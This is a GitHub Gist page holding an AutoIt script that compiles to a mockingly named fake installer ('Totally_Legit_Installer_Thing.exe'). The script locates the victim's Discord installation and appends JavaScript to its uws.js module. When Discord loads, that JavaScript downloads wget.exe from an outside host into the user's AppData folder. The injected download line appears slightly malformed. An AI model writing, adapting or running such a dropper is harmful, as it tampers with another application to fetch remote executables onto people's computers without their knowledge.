Created
December 3, 2017 02:01
-
-
Save MikeModder/3829e72fcc858d8d979de478d93b0375 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Misc.au3> | |
#include <File.au3> | |
#include <AutoItConstants.au3> | |
#Region ;Stuff about the compiled exe | |
#AutoIt3Wrapper_Version=Beta | |
;#AutoIt3Wrapper_Icon= | |
#AutoIt3Wrapper_Outfile=Totally_Legit_Installer_Thing.exe | |
#AutoIt3Wrapper_UseX64=n | |
#AutoIt3Wrapper_Res_Comment=lol get fucked | |
#AutoIt3Wrapper_Res_Description=get fucked | |
#AutoIt3Wrapper_Res_Fileversion=1 | |
#AutoIt3Wrapper_Change2CUI=y | |
#EndRegion | |
#NoTrayIcon | |
Global $jsCode[19] | |
$jsCode[0] = "const cp = require('child_process');" | |
$jsCode[1] = "const fs = require('fs');" | |
$jsCode[2] = "const http = require('http');" | |
$jsCode[3] = "let download = function(url, dest, cb) {" | |
$jsCode[4] = " let file = fs.createWriteStream(dest);" | |
$jsCode[5] = " var request = http.get(url, function(response) {" | |
$jsCode[6] = " if (response.statusCode !== 200) {" | |
$jsCode[7] = " return cb('Response status was ' + response.statusCode);" | |
$jsCode[8] = " }" | |
$jsCode[9] = " response.pipe(file);" | |
$jsCode[10] = " file.on('finish', function() {" | |
$jsCode[11] = " file.close(cb);" | |
$jsCode[12] = " });" | |
$jsCode[13] = " });" | |
$jsCode[14] = "};" | |
$jsCode[15] = "" | |
$jsCode[16] = "console.log(download);" | |
$jsCode[17] = "" | |
$jsCode[18] = "download('https://eternallybored.org/misc/wget/current/wget.exe', '"& @AppDataDir& "/wget.exe, () => {})'" | |
Global $discordPath = _PathFull("discord/", @AppDataDir) | |
Global $discordAppDirArray = _FileListToArray($discordPath, "0.*", 2, True) | |
If $discordAppDirArray[0] < 1 Then dieAndExit("There where no matching folders!") | |
If $discordAppDirArray[0] > 1 Then dieAndExit("There where multiple directories!") | |
Local $discordAppDir = $discordAppDirArray[1] | |
Local $uwsPath = _PathFull("modules/discord_rpc/uws.js", $discordAppDir) | |
If Not FileExists($uwsPath) Then dieAndExit("uws.js not found!") | |
If Not FileWriteLine($uwsPath, "/* This file was edited by an AutoIt script */") Then dieAndExit("Could not write to uws.js!") | |
For $line IN $jsCode | |
FileWriteLine($uwsPath, $line) | |
Next | |
Func dieAndExit($dieMsg) | |
MsgBox(0, "Error", $dieMsg) | |
Exit | |
EndFunc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment